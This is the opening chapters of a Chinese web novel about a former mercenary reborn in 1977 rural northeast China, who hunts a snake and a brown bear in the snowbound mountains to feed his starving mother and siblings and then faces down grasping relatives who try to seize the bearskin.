《重生1977,深山打猎养活全家》 第一卷 第1章 厄运专找苦命人 “活着!” “我还活着?!” 自睁眼的一瞬间,陈虎便欣喜若狂,又不禁满心疑惑。 眼前破败的屋子,他以前完全没有见过。 陈虎记得十分清楚,自己作为一名传奇雇佣兵兵王,在北欧战场上一次斩首任务中,被敌人埋伏的重火力射成了筛子! 怎么醒来后就出现在这里了? 一股饥饿感突然从腹中,蔓延至全身。 陈虎只觉得胃酸倒流,似乎完全没有力气,好像很久都没有吃东西了一样。 与此同时,他的脑海里也闪烁了一段并不属于他的记忆。 查阅脑海中那段陌生记忆,陈虎又不可置信地看着自己粗糙、满是冻疮的双手。 他终于能够确认,自己重生了! 这里是1977的华夏北部,大兴安岭地界。 原主与他同名且今年刚成年,世代人都在此地务农、渔猎为生。 由于连续几年的自然灾害,大面积饥荒让无数人家里都已经揭不开锅。 陈虎的家庭就是如此。 为了得到粮食,陈虎家里能变卖的都变卖了,但仍然食不果腹。 尤其是,最近一段时间,冬日来临,大雪封山。 银装素裹的山林,以及沁入骨髓的冰冷,再配上那无力的饥饿感,已经让得这个家庭濒临破碎边缘。 原主短命的爹因为帮二叔家干活修葺羊圈,被松动的柱子当场砸死! 仅有一个母亲独自养育着三个孩子,又因为天气寒冷和忍饥挨饿,害病多年,身子骨早已是风中楼阁,眼看就要不行。 陈虎家中还有一个弟弟与一个妹妹,二人同岁是一对龙凤胎。 不过,上一顿连塞牙缝都不够的饭,已经是家里最后一顿饭了。 原主作为大哥,把粮食都留给弟弟和妹妹了,因为吃了没处理好的树皮、野菜,胃疼了整宿,最后硬生生饿死,这才使得陈虎重生了。 眼下,陈虎家里连一颗多余的粮食都没有,母亲为了让弟弟妹妹能够活下去,已经做好了要将这对儿女过继给村东头那老光棍了! 简直天崩开局啊! 早死的爸,病重的妈,年幼的弟妹,饿死的自己…… 果真是厄运专找苦命人! 陈虎不由得感叹一声,目光却是死死地盯着窗外被皑皑白雪覆盖的雪山。 虽然原主之前也进山打猎过,但没有什么收获。 只是,对于眼下的陈虎而言,为了活命,他只能冒险进山,企图有所收获,博一口救命口粮。 有了想法后,陈虎不再拖延。 按照原主的习惯,陈虎将全身做好保暖后,就和母亲、弟妹打了招呼。 弟弟妹妹还好,心思单纯的两人,并没有意识到冒雪进山打猎有多危险,只是期盼陈虎多打猎物,甚至于还想和陈虎一起进山了。 但很明显,陈虎直接拒绝了他们的要求。 然后,陈虎就见了躺在床上,脸色有些差的母亲杨蓉。 听到陈虎又要进山打猎,杨蓉虽然目光凝重,但她还是咬了咬牙,同意了。 现在的情况,横竖都是死,只能搏一搏了! “大雪封山,万事小心,平安回来就好!” “猎不到东西回来,妈也不怪你!” “实在不行,等妈死了后,你把妈和你爹埋在一起,然后把你弟妹送去过继,就自己跑路吧!” “你到外面能找条活路,就对得起妈和你九泉之下的爹了!” 临走前,杨蓉语带绝望的叮嘱着陈虎。 陈虎没说什么,只是神情凝重地拿着家中打柴的镰刀出门了。 这把镰刀已经钝得不成样子了,但却是陈虎目前能够自保的唯一工具。 陈虎将这镰刀打磨了下,变得锐利后,便准备出门了。 至于家里的其它物件,都已经低价卖了换粮食了。 若非这把镰刀实在是太差了,而且家里还需要它来劈柴,否则,陈虎现在真是连一件像样的猎获铁器都带不出门了。 “哥!哥!你等等!” 刚出门不久,陈虎就听到身后传来一阵喊声。 陈虎朝后望去,就看到妹妹穿着那件不合身的红袄子,头上戴着一顶小小的虎头帽,小脸冻得红扑扑的追上前来。 积雪没过了她的膝盖,小姑娘在雪地里艰难前进着,边走边撅着嘴,冲两只小手哈气。 妹妹今年刚满七岁,小名囡囡。 即便许久没吃上饱饭,小囡囡还是一边卖力挥手,一边带着稚气大喊。 陈虎当时只当是妹妹黏人,宠溺摸着小姑娘的头,安慰着:“哥哥去弄吃的,很快就回来,回家等哥!” 本就长期营养不良的小女孩,脸上都没见什么肉,一双大眼睛扑闪扑闪,然后从怀里掏出了一块黑馍馍。 递上那块黑馍馍时,囡囡的一双小手,也冻得发紫: “哥,你把这个带上,路上吃!” “哥哥不用担心,囡囡还有的……” 陈虎愣住,看着那块馍馍,没有出声。 食不果腹的日子没个盼头,怎么可能会有留下的口粮? 小姑娘多半是想省着吃罢了。 但眼下,知道他这个亲哥哥冒雪进山打猎,就担心他,把馍馍交给他。 陈虎感受到饥饿带来的浑身无力感,也不得不为之后行程打算,只得颤抖着手,接下那块黑馍馍。 前世,陈虎是个孤儿,并没有感受过家的温暖。 可现在,他确实感受到了。 他明白,不仅仅是为了妹妹,还有他的母亲和弟弟。 无论如何,他都要守住这个濒临破碎的家! 若是他不能猎获到足够的东西,那他的弟弟妹妹会被送走,只为求条活路不说,连他的母亲,肯定也断然挨不过当下的。 既然重生一世,那陈虎断然不能看着这桩惨剧发生在自己的身上! “回家吧!别冻着!” 陈虎心中似乎有千言万语要对囡囡说,但此时却也只说了这么简单一句。 “嗯!” 囡囡明显是个懂事的小姑娘,懵懂的点了点头,就转身在雪地里,步履艰难的回家了。 看着囡囡瘦小的背影,陈虎不禁鼻头一酸,心情难以言喻。 不过,凌冽的寒风并没有给陈虎过多思虑的时间,刮在脸上宛如刀子一般,很快就让陈虎清醒过来。 他环顾四周,感受着冷风飕飕钻进皮肉。 继而,他义无反顾的往大山深处走去。 …… 第一卷 第2章 猎熊吃独食 山里雾茫茫的一片,时间仿佛静止一样,分不清流逝。 陈虎感觉他至少走了有好几天了,但却一点儿猎物的踪迹都没有看到。 不由得,陈虎越发焦急,饥饿感也随之袭来。 囡囡给的那块黑馍馍,已经被陈虎在路上,一小口一小口的吃完了。 否则,陈虎也没力气能坚持走这么深的山路。 不由得,陈虎抬手摘下一根结着冰晶的松针,放在嘴里咀嚼着,希望借此缓解饥饿。 陈虎明白,他再找不到猎物,那他可能就要倒在这大雪山里了。 不过,想要找到足够的猎物,这谈何容易? 冬日的大兴安岭是人类禁区。 动勘零下二、三十度的天气,能轻松葬送一个又一个自认经验丰富的老猎人。 陈虎当即开始行动,一边活动身体的各个关节,一边察探着周围寻找自救的办法。 但连日未曾进食,加上严寒沁骨,陈虎每走上两步,都会忍不住一阵接着一阵的头晕眼花。 山林中皆覆盖着没过脚踝的积雪,一颗颗扛得住寒冬的粗壮松树,每一根松针上面都凝结着漂亮的冰花。 大雪覆盖下,目所能及除了白皑皑一片,就是黝黑的树干与被积雪压塌的松叶。 陈虎艰难走着,每走出一步,都会传来踩在雪地上的“噗哧”声。 对于地貌奇多的华夏而言,南方人说“冻死了”是个夸张句式,但对于北方人而言,“冻死了”是个陈述句。 所幸,在冻死之前,陈虎确实有了出人意料的发现。 陈虎一脚踩在了一座雪堆上。 重生前有着丰富荒野生存经验的陈虎,顿时察觉到了这个雪堆的异常之处! 雪堆下铺着厚厚松针,还有一些细碎枝条与枯木。 陈虎没有丝毫犹豫,拍了拍僵硬的脸,当即趴下身子,全神贯注开始猛刨雪堆。 不多时,积雪下那堆枯叶被一层层扒开,在忙活近十分钟后,陈虎望着眼前一幕露出了喜色。 这是一个长虫窝! 这个时段的长虫正在冬眠,松叶上,一条盘踞成一团显得十分僵硬的长虫一动不动,宛如死物。 陈虎将其一把拎起,更是惊喜不已! 这条长虫分不清种类,体长超过两米,算不得粗壮,但份量绝对不轻。 他没有丝毫犹豫,依靠着残存意识,催动着早已接近极限的身躯,在地上清理出一片空地。 旋即,陈虎又顺带将蛇窝中的枯木与松叶,簇拥搭出一个火堆,接着利用松木上的松脂与木屑引火。 不多时,火堆便顺利燃烧,白烟与火苗不断簇拥着冒头。 感受到些许暖意,陈虎当即就拿起那把镰刀。 不出片刻,他便将这条长虫扒皮、刨除内脏、分成小段。 随后,他干净利落将半数蛇肉串到树枝上,开始炙烤。 在这期间,陈虎自然不会浪费丁点儿热量,蛇的内脏大多不能吃,容易染上虫害。 但蛇胆是个例外,拇指大的蛇胆,陈虎没有丁点儿犹豫便一口吞下! 等到蛇肉烤制金黄,开始滋滋冒油,陈虎大快朵颐没两下便将半数蛇肉吞进肚里。 在热量得到补充,他借着火堆,也将身子暖热乎了。 柴火驱寒,再加上长虫肉补充热量,在短暂休息后,陈虎能够感受到这副身体各项机能都得到了很大程度恢复。 旋即,陈虎站起身,熄灭火堆后,毅然朝着山林的方向走去,沿着山林地势偏低的位置行走。 群山之中断然有沟壑,低处便是山涧。 有水流则有机会凿冰逮鱼,这是眼下陈虎能想到最快获取食物的办法。 不多时,在一处山沟之中,陈虎顺利寻到一处水潭,开始奋力凿击着冰面。 冰层很厚,冰面被凿开一个大洞后,陈虎又用镰刀削尖一根木条用作鱼叉,没几下功夫便轻松串上了四、五条鱼。 忙活许久的陈虎捧着大鱼,露出欣慰笑容,一屁股坐在冰面上。 他没想到会这般顺利! 时来运转?! 就在陈虎计划着多渔猎一些鱼儿时,却听到身后传来了轻微动静。 刻入灵魂的敏锐,让他急忙回头查看。 这一看却直接让陈虎心率飙升,整个人都定在了原地! 就在水潭不远处的灌木丛里面,一头体型硕大的棕熊正匍匐在地,两只眼睛冒着红光,直勾勾的盯着陈虎! 嘶…… 陈虎惊诧不已,要知道熊这个时节,应该在冬眠才是! 不过,由于棕熊需要保持新陈代谢,再加上可能冬眠前热量补充不足,很大概率会在冬眠期苏醒寻找食物、喝水等。 很快,陈虎便镇定了下来,双眼凝神,紧盯着棕熊的方向,并从袖口扯下一段布条,旋即将那把镰刀绑在了用作鱼叉的木棍上。 陈虎屏息凝神,死死探察着这头棕熊。 很显然,冬眠期的消耗让它变得十分虚弱,本该硕大的身子也显得十分消瘦。 就在陈虎还在思考着该如何处理这头棕熊时,这棕熊却先一步动了! 它硕大的脑袋,相当于八个人头绑在一起大小,尖锐的獠牙伴随着不断呼出的白气。 一双带着凶光的双眼,正死死盯着陈虎不断打量,身子也朝着一侧微微挪动。 这是捕食者打量猎物的神态,陈虎清楚,这厮要动手了! 此刻,陈虎体内为数不多的肾上腺素都在调动,他能感受到自己空前的冷静,以及身体正趋于亢奋! 他没有把握依靠这简陋的武器,对抗这头黑熊。 但陈虎更清楚自己没有半分可能在掉头逃跑后生还! 不论是速度,还是耐力,以及追踪能力,棕熊都是肉食动物中尖端存在,只要他露怯逃跑,今日必然逃不过成为棕熊口粮的下场! 最重要的是,陈虎清晰记得棕熊喜欢吃鲜活的猎物! 若是落到棕熊手里,他恐怕逃不了眼睁睁看着自己被棕熊一口口的吃掉,却不能尽快死去的命运! 深吸一口气,陈虎余光打量四周,顿时有了一个近乎疯狂的想法! 下一瞬,陈虎骤然暴起,手持简陋的长矛,冲着棕熊冲去! 并且一边狂奔,一边大声怒吼! 棕熊被这突如其来的变故惊到,下意识便往后退了两步。 可不等棕熊回过神来,陈虎又猛地转身沿着山涧溪流往下跑去。 棕熊回头望着这一幕后,半晌才反应过来,见那直立猿正朝着山下跑,意识到被戏弄,当即怒喝一声,四足并用追了下去! 这处山涧位处于山腰位置,水势向下,分段间落差极高。 沿途皆是乱石与冻结的溪流,人走在上面,十分容易打滑,想要逃离,可谓是难如登天。 很显然,陈虎十分清楚这一点,但相较于拿着手中简易长矛和这几百公斤的棕熊肉搏,眼下的举动虽然冒险,却又显得十分稳妥。 少顷,陈虎沿着溪流向下,在一处断崖前,停下脚步。 脚底下是一僻静水池,水面同样已经冻结。 这处水势落差,几乎有十余米。 身后棕熊紧追不舍,已然到了近前,陈虎没有丝毫犹豫,舍下那根简陋长矛,纵身跳下,并死死抓住了一根木藤。 前世的特种兵经验,让得陈虎根本不惧这样的断崖。 只是现在的这具身体还差了些,抓木藤时,让得陈虎稍稍有些吃力。 要是这次逃出生天,陈虎明白他一定要多抽时间,好好锻炼下现在的这具身体。 而另一边,棕熊追击上前,眼见前方绝路,本能打算停下,却不料沿途的乱石上覆盖着冰雪,湿滑无比。 棕熊刹不住,径直从断崖上坠落! 眼看着棕熊落下,死死抓住藤条的陈虎,此时总算能松了口气! 棕熊落下后,将下面冰面砸了个四分五裂,浮冰勉强拖着那庞大的身体。 陈虎没有丝毫耽搁,沿着藤条,向下爬去,待到距离地面约三米多高时,纵身一跃,稳稳落地。 旋即,陈虎迅速寻回了那根用镰刀与木条制作的简易长矛。 紧跟着,陈虎走到水潭近前,看着一动不动的棕熊,没有丝毫犹豫,手持简易长矛,冲着棕熊眼、耳、口鼻不断刺下! 鲜血喷涌而出,棕熊则毫无动静。 待到确认这畜生已经彻底断气之后,陈虎这才松懈下来,一屁股坐在乱石堆上,大口大口的喘着粗气! 缓和情绪后,陈虎望向那头棕熊的双眼,不由得浮出了一抹喜色。 有了这头熊瞎子,眼下家里面大部分的困难,也就都能迎刃而解了! 这头棕熊体长约莫超过两米五,一身肥膘只怕超过五百公斤! 若是想要一次性全部都扛走,多少有些不现实。 即便是十个陈虎绑在一块,也得累死累活的才有可能把这头棕熊扛走。 简单思考后,陈虎用藤条将其绑住,拖到岸边,冰面摩擦力极小,拖动倒是不难。 拖到岸边后,陈虎三下五除二的剥下了熊皮,旋即开膛破肚,将内脏统统掏出。 熊胆倒是被留了下来,其余内脏容易变质,陈虎干脆将其扔到了灌木丛中。 而后,他又剔下百斤精肉,最后将剩余的熊肉统统绑着藤条,扔到了水潭里面。 一次取不完的话,那就分几次取! 这天寒地冻想要变质,没个十天半月也不太可能。 最后,陈虎用熊皮包裹着熊肉,绑上藤条后,往山下拖去。 眼下家里吃食的问题,算是彻底解决了! 傍晚时分,陈虎顺着记忆的指引,回到家中。 他家处于一座山脚下,所在的这一处村落大致四、五十户人家。 屋子十分简陋,三间土房盖着茅草,便是陈虎的家。 推开简陋的木门,屋内冒着缕缕炊烟。 刚一进门,陈虎便看到了一个瘦弱还挂着鼻涕虫的小男孩,毫无疑问,这是他的弟弟。 “哥,你回来了!” “妈!哥哥回来了!” 小鼻涕虫看到陈虎后,一瞬间激动不已,急忙转过头,朝着屋里大喊。 很快,里屋便走出一个孱弱、面色苍白的女人。 看到陈虎的一瞬间,女人便不禁红了眼。 “小虎……小虎回来了,妈还以为再看不到你了……” 杨蓉声泪俱下,一把抱住了陈虎。 感受着这突如其来的亲情,陈虎浑身所有的疲惫,一扫而空,心中不禁一暖。 他轻咬着冻裂的嘴唇,抑制住心中翻涌的情绪,应声道: “妈,我没事!让你们担心了!” 就在陈虎享受着这份血浓于水的关怀时,一道不算和谐的声音,突兀响起: “哟!小虎回来了这是?家里都以为你冻死在山林里了,这都是些啥?小虎你这带回啥来了这是?” 陈虎听着身后这道刺耳的女声,不悦回过头,却见一个中年妇人正满眼惊喜的翻看着那堆熊皮与精肉! 陈虎很快认出了这个妇人,正是自己二婶,名唤刘翠翠,是村里出了名的泼妇。 “哎呦!小虎这是熊皮啊!” “你这上哪儿捡了一头熊瞎子? “咋滴就这点肉? “这熊皮可值不少钱啊!” 刘翠翠双手扯着熊皮,眼睛里面直冒光,将不少精肉都弄掉到地上。 杨蓉也是吓了一跳,看着跟前的熊皮,心中惊惧,急忙上下查看着陈虎周身,深怕哪儿落了残疾。 陈虎给了母亲一个安慰的眼神之后,上前一把将熊皮扯过来,旋即转身对杨蓉开口道: “妈,先把这熊肉收拾下!晚上咱们煲肉汤吃!” 谁料陈虎的话音刚落,一旁的刘翠翠便直接冷脸: “陈虎,你赶紧说说这熊瞎子打哪儿捡的!来路正不正,还不知道,就想关上门吃独食?!” 杨蓉病态白皙的脸上,露出一抹不忍,旋即挤出了一个笑脸: “他二婶,这肉你家先拿一些回去晚上吃,这么多也吃不完……” 本想着匀些肉换个清净的杨蓉,没想到自己一开口,便被刘翠翠冷着脸骂了回来: “什么东西啊?就匀这点儿肉?” “大嫂,你不想想,小虎这可是带回了一整张熊皮!他有啥本事猎一头熊瞎子啊?” “他二叔昨天进山找他去了,到现在都还没有回来,保不齐这熊就是他二叔打的!” …… 第一卷 第3章 丰盛的晚餐 杨蓉此刻气得浑身都在发抖! 她抬起颤抖的手指着刘翠翠,眼眶唰的通红:“你……你……” 杨蓉昨日下午看的清清楚楚,陈虎他二叔分明朝镇子上去了! 况且,就他那德行,莫说进山找陈虎一夜不归。 就算是老娘死了,都能扎根在镇上赌场里不下桌! 眼下,刘翠翠这说辞摆明了见有利可图,是打算彻底不要脸了! 见杨蓉这副神态,刘翠翠当即冷哼一声,阴阳怪气道: “你二叔让你带些精肉先回来,不知道送去孝敬你奶奶,反倒是想躲家里吃独食,当真是有人养没人教的白眼狼……” 一直杵在一旁没吭声的陈虎,见此情景突然不咸不淡出声道: “肉是我带回来的,和旁人没关系。 把肉放下,否则别怪我不客气。” 此言一出,刘翠翠顿时就像是只炸了毛的母鸡,一边跺脚,一边唾沫横飞,破口大骂: “狗娘养的唉!” “克死你爹还让陈家出了个白眼狼! “大家都来看啊!” “陈虎这有人生没人养的打他二婶了!拿着他二叔给的肉吃独食,还打婶娘啊……” 刘翠翠又哭又骂,声音震得茅草屋都顶不住,片刻功夫,附近几户邻居便都围拢了过来。 当然,这些个邻里都清楚刘翠翠是个什么德行,一个个围在门口看戏,也不吭声。 杨蓉本就羸弱的身子,经过刘翠翠这般气性上来,直接喘不上气,一屁股坐在了地上。 陈虎见状,先是不动声色将母亲扶到凳子上休息,随后冷眼看着嘴不得空闲的二婶。 只见,陈虎二话不说将腰间那把镰刀掏出,随后径直插到了门框上。 黝黑的刀刃,入木三分,这一举动也将刘翠翠与周围看戏邻里吓到。 刘翠翠本来心一横,正打算接着叫骂,却不经意对上了陈虎那阴沉的目光。 一时间,这泼妇倒是老实了,咬了咬牙,憋半天喊了一句: “你别得意!拿刀吓唬你婶娘?你二叔回家有你好看……” 刘翠翠便说便转过头往外走去,走到门前还在念叨不停: “有人生没人教的东西,等你二叔和你奶来看看,你这要杀婶娘的天杀玩意儿……” 一众村民见此情形,悻悻然都退出了院子。 但临行前,他们一个个又都忍不住死死盯着地上那张熊皮和一堆精肉。 很显然,这么多精肉,放在这遭难的年代,很难不让人惦记! 待到众人走后,陈虎将门拴好,熊皮扯开挂在梁上。 杨蓉也总算是缓过气来,看着那堆估摸百十斤的熊肉暗自吃惊。 “小虎,这熊肉是……” 相较而言,杨蓉断然不会相信这熊瞎子与陈虎二叔有什么关系。 但要说这么大头熊是陈虎自己打的,任谁也不会信。 陈虎给了母亲一个宽慰的眼神,解释道: “这熊醒了寻食,从一处崖壁上面滑倒落了下去,我就捡了个漏,妈你放心,和旁人没啥关系。” 杨蓉松了口气,随后又摇了摇头,脸色有些难看。 “你刚才这样对你二婶,只怕等下你奶奶和你二叔都会一道找上门来。 咱们孤儿寡母的,别跟你二叔他们斗气。 都是一家人,等下把肉给一半送给你奶,熊皮给你二叔算了。” 杨蓉自然是想着息事宁人,求个安生。 但显然,陈虎可不会把自己的猎物拱手让人的! “妈!什么一家人?!” “你忘了我爸是怎么死的了吗?” “他是给二叔和奶奶家修猪圈被房梁砸死的!” “后来,大旱地里没收成,咱们家到今天家里都揭不开锅了。” “可奶奶和二叔的家里面,能没有余粮?他们有送过一粒米给咱们吗?” “这事儿你别管,今晚吃肉!他们来了也甭想喝上一口肉汤!” 听到陈虎的话,杨蓉没再接话,她何尝不知道那一家子是怎么对她家的。 还未分家时,她便已经领略到了,更遑论自家男人还被害死了! 这时,杨蓉的身后冒出了一个脸蛋红扑扑,扎着两个马尾的小女孩。 “哥哥,囡囡吃肉肉。” 小姑娘看着那一堆精肉流着口水,模样怪是可爱。 一旁,另一个小鼻涕虫更是凑上前,狠狠的耸了耸鼻子嗅着,好似能闻到生肉已经煮熟的香味。 陈虎看着弟弟妹妹这模样,也收起了脸上戾气,笑着一把将小囡囡抱到怀里: “吃肉肉,哥哥带回来的肉肉,今天要让小囡囡吃个肚皮滚圆!” 小鼻涕虫也兴奋的上窜下跳:“吃肉肉!吃肉肉!哥哥万岁!” 小囡囡名叫陈瑶,小鼻涕虫则名叫陈真。 这弟弟妹妹自陈虎重生之后,打第一眼见到他们便喜欢得紧。 一对龙凤胎生得也十分秀气。 可惜估摸着是由于营养不良的原因,两人今年都六岁了,却都不见长个。 杨蓉见此一幕,也忍不住露出了一抹欣慰笑容。 旋即,杨蓉开始收拾处理那堆精肉,陈虎则帮着生火刷锅。 不多时,一大锅肉汤新鲜出炉。 肉香弥漫在整个小屋中,陈真那小鼻涕虫早已忘了闹腾,与小囡囡一并眼巴巴的盯着大锅,口水流个不停。 杨蓉给每个孩子都盛了满满一碗肉,这一顿饭可以说是这个家有史以来,最为丰盛的一餐! 不多时,十余斤精肉炖汤便连肉带汤,被吃了个干干净净。 屋里还徘徊着肉糜香味,一家子脸上都露出满足神色。 就连杨蓉那毫无血气的脸色,也红润了些许。 放下筷子后,陈虎从兜里面掏出了一块叶子包裹的物件递给杨蓉: “妈,这是熊胆,你看下留着自己炖汤补身体也行,卖了换钱买些米面也成。” 杨蓉一脸惊喜的接过这包叶子,掀开叶片,里面是一颗黝黑的熊胆。 一头熊最为值钱的,便是这颗熊胆! 那张熊皮最少也值一百块! 想到这些物件的价值,杨蓉的眼里也忍不住噙满了泪花,可想而知一个女人独自拉扯三个孩子,又遇上灾年会有多难! 而眼下这些,则可以彻底解决家中目前的困境! 杨蓉当即将熊胆小心包着,找地方放好。 就在陈虎靠在椅子上,享受着这份前世不曾体会过的温馨时,门外传来了一阵叫嚷声,打断了这份宁静。 “妈的个巴子!他陈虎要反了天!” “老二,等会儿你别说话!老婆子我倒是要看看,这儿媳妇把我孙子教成什么东西了?!” …… 第一卷 第4章 以后谁也不能再欺负咱们家! 话音落下,随即那扇本就破旧的木门被连带着门栓,一齐踹开! 陈虎二婶带着他二叔和老太太,径直闯了进来! 跟在他们身后的,还有一个与陈虎年纪相仿的男孩,是二叔家独苗。 陈虎脸色当即沉了下来,死死盯着这一行人,也不起身。 陈虎二叔叫做陈厚,在村里有个诨号叫陈二狗! 十里八乡都知道这货是最会吃喝嫖赌的主儿! 陈厚将木门一脚踹翻后,进门第一眼就看到了挂在梁上的熊皮,这一看恨不得两只招子都嵌在上面。 贪婪之色,毫不遮掩! “好一张熊皮!剥得利索,一点儿没伤到,市价最少能卖一百块!” 陈厚走上前,毫不客气开始扯着熊皮一阵打量,嘴角都快咧到了耳后根! 要知道这个年代莫说遇上了天灾,家家户户闹饥荒。 就是风调雨顺的年头,庄稼人一年到头不吃不喝也才能挣个十来块钱! 刘翠翠见状,抬手便狠掐了一把陈厚,接着恶狠狠开口道: “你侄儿子都要拿刀砍他二婶了,你还关心这熊皮? 再者说熊瞎子不是你打回来的,让陈虎跑腿送过去,非要现在看个什么劲儿!” 陈厚闻言当即醒悟过来,跟着冷笑着走到陈虎跟前: “好侄儿,让你送个熊皮去奶奶家,怎的还挂到自家来了?” 杨蓉这时站了出来,挡在陈虎跟前,据理力争道: “这熊是小虎带回来的!他二叔二婶你们都是长辈,这是打算做什么?!” 陈虎看着自己娘亲瘦弱的身体,挡在自己身前,不由得心中一暖。 陈厚等人闻声,则顿时不乐意了。 “他一个屁大点孩子,还自己进山猎熊瞎子?大嫂你要不要带脑子说话?” 刘翠翠也跟着补充道: “这熊瞎子就是昨晚他二叔进山找他,跟着碰见了猎的!” 杨蓉闻言,顿时被气得说不出话。 昨日,陈虎没知会一声就独自进山,她四处找过,还问了陈虎奶奶。 老太太当时就提了一嘴陈厚上镇上去了。 这时,老太太也跟着冷哼一声,接过话茬: “杨蓉!翠翠说你家小虎拿刀要砍他二婶,老大不在了,你就这样教的儿子!?” 杨蓉被怼得彻底接不住话,低着头一言不发。 陈虎这时缓缓起身,扶着杨蓉宽慰出声: “妈,你先带着弟弟妹妹进屋歇会儿,这儿交给我!” 杨蓉无奈的望了陈虎一眼,随即点了点头,牵着两个孩子去了里屋。 待到里屋门一关,陈虎便径直一脚踩在了桌上,拿起那把镰刀,冷冷出声道: “二叔,我看你是长辈不想对你们说重话。” “但这头熊和你们没半点儿关系,今天你们要是来得早些,我还能给你们留口肉汤,也算是孝敬长辈。” “但你们来得不巧,就剩点儿骨头,奶奶牙口不好,吃不了骨头,你们还是打哪儿来,回哪儿去,别闹得太难看。” 陈虎的声音不大,但杀伤力却极强。 老太太和陈厚两人闻言,一时之间都红了眼。 老太太当场就脱下布鞋,就砸在了陈虎肩上,唾沫星子紧跟着狂喷而出: “狗娘养的孽畜啊!你个天杀的玩意儿!” “老天爷怎么不一个响雷,劈死你个不成器的东西? “你爹死了,你欺负你爹的妈,是吧……” 陈厚也一步上前,死死盯着陈虎,直接就怒喝道: “别和老子扯淡!你今天不给个说法的话,老子帮你爹打死你个龟儿子,你奶娘,你二叔都不认,你真是想翻天了!“ 陈虎直面几人叫骂,丝毫不怯场,抬手便把镰刀扎进桌面,咬牙驳斥出声: “我爹怎么死的?你们几个心里没数?” “话我放这儿了,今天你们一根熊毛都别想染指!” “谁敢动老子的东西,哪只手动的剁哪只手!” 陈虎此刻是当真动了杀意,陈厚也被这阵仗吓了一跳,忍不住后退几步,心里直打颤。 但老太太可不怕陈虎这番威胁,上前便开始吐唾沫,一边吐,还一边扔鞋砸向陈虎: “你要剁谁的手!” “天王老子、王母娘娘、太上老君!你们都睁眼看看啊!” “陈家出了一个不孝子!你们怎么不落个雷下来,劈死这有人生没人教的玩意儿啊?!” 先前被陈虎气势吓到的陈厚见状,也再次长了胆,当即便上手去扯那块熊皮,并示威出声: “狗崽子,你很能是吧?老子就拿了,你有本事砍死老子!” 陈虎怒不可遏,顿时就红了眼! “杂碎!你敢动!” 几乎是一刹那的功夫,陈虎怒骂一声的同时,手中的镰刀手起刀落,刀刃擦着熊皮划下。 陈厚见状吓得半死,急忙抽手,但还是慢了一步! 地上很快见了血,陈厚抓着自己的手腕,直接大喊出声! “我的手!我的手!我的手啊!” 这一嗓子鬼嚎,很快让老太太和刘翠翠安静下来。 两人急忙上前查看陈厚的手。 只见他捧着的左手食指上,此刻鲜血淋漓,一片血刺呼啦中,可以见到森森白骨! 这一刀,也算是陈厚躲得及时,仅仅是在指头上,割出了一道不大的伤口。 陈厚脸被吓得煞白,手上的鲜血还在不断滴落。 老太太与刘翠翠都被吓得不敢吭声,身后陈厚家儿子也是眼神飘忽不定,不敢上前。 陈虎死死瞪着这一行人,一字一句,厉色出声: “我说了!” “哪只手碰的,剁哪只手!” 说罢,陈虎再度将镰刀举起,指向陈厚! 镰刀的刀刃上,此时还沾着鲜血。 一行人此刻都战战兢兢,没人敢对上陈虎那宛若要吃人的眼神! 刘翠翠白着脸,这会儿也不再吭声,拉着她男人和老太太就往外走。 陈虎见状,接着出声道: “等等!” 一行人定住身形,黑着脸一并转过头,没人应声。 陈虎抬手指向那扇被踹歪的木门,接着道: “往后谁再踹这扇门,哪只脚踹的,老子剁哪只脚!” “当然,你们最好是别来这边串门!不然的话,我可不敢保证我会做出什么事情!” 陈厚一家子闻言依旧没应声,紧跟着便忙不停逃似的离开了屋子。 这时,杨蓉打里屋走了出来,看着陈虎手里的镰刀,以及地上洒落的鲜血,急忙凑上来检查陈虎有没有受伤。 对上母亲关怀的眼神,陈虎这才放松下来,接着摇头,宽慰出声: “娘,没事了!以后谁也不能再欺负咱们家!” …… 第一卷 第5章 让陈虎家把他妹妹过继给咱家! 这一晚对陈虎一家而言,是难得的温馨时光。 吃饱喝足的两个小家伙都十分活泼。 小鼻涕虫陈真抓着一堆石子儿,非要拉着陈虎玩耍,一边从兜里掏出各种石子儿,一边拿着一颗颗色泽不同的鹅卵石,神采奕奕的说着: “哥!你看这颗石头上面有只红色老虎,这个给你,哥哥有了老虎石,就是真山君了!” 陈虎接过那颗石子,上面的确有着一个形似四足的花纹,可惜这老虎没头,怎么看都不像老虎。 但陈真还是乐呵着收下。 陈瑶则直接钻进了陈虎的怀里,咿呀比划着双手,红润的小脸上,露出稚嫩笑容: “哥哥,我们明天还可以吃肉肉吗?今天囡囡吃的好饱!” 陈虎一脸宠溺地摸着陈瑶的头,笑着点头: “明天还吃,后天也吃,囡囡想吃以后都有的吃!” 一旁的杨蓉,正忙活着把今天剩下的精肉熏制,这样能够有效防腐。 肉香和木炭香味弥漫,杨蓉回头看着三个孩子有说有笑,也不禁露出了欣慰的笑。 这一晚,陈二狗一家则是忙得不亦乐乎! 这位二叔手指被切了半截摇摇欲坠,刘翠翠和他老娘都急得半死,连忙给人带到了镇上。 伤口不大,但要是处理不及时,多半就要落个残疾。 好在一连缝了十几针,又连着开了一堆药后,陈厚这手指总算是保住了。 一家子忙到深夜,才回到家中,一个个脸色无比难看。 刘翠翠自打从镇上开始,嘴上就碎碎念的便没停过: “挨千刀的陈虎!老陈家生了这么个孽畜,真是个没心没肺的毒老虎……” 老太太也不消停,一想到在陈虎家半分好处没讨到,医药费还给了一大笔,就忍不住偷偷抹眼泪。 陈厚受不了这股氛围,到家后一脚踹翻了桌子,厉色出声: “都别嚷嚷了!老子收拾不了他,有的是人收拾他,这口气不可能咽下去!” 刘翠翠和老太太见状,都怔怔望着陈厚没出声,不晓得他在打什么算盘。 倒是陈厚家那独苗陈乾,今天一整日都没吭声,眼下却目光灼灼的望着陈厚,咬着嘴唇,出声道: “爸!我想要个妹妹!” 陈二狗本就是个混不吝,受了气见自家儿子还说这屁话,当即大怒: “给老子滚出去!你要个锤子,你个不成器的!” 老太太和刘翠翠见状,急忙护着这颗独苗,直言陈厚有种找陈虎撒气去,别冲家里宝贝独苗发脾气。 这陈乾年纪与陈虎相仿,作为独苗也是自幼娇惯着,见自家便宜爹生气也不犯怵,仍是执拗道: “爸,让陈虎家把他妹妹过继给咱家!” “不然,不然我就去死!” 闻听此言,一屋子人都有些发懵。 一个女娃娃带回家作甚? 年纪这般小,还不能嫁人,养着也是浪费粮食。 刘翠翠也不免恼怒,抬手摸着陈乾的头,一脸无奈道:“傻小子说的什么屁话!呸!呸!呸!” 陈厚则皱眉看了陈乾一眼,旋即叹气道: “先别急着惦记你那妹妹,等你老子想办法拿到那张熊皮再说。” 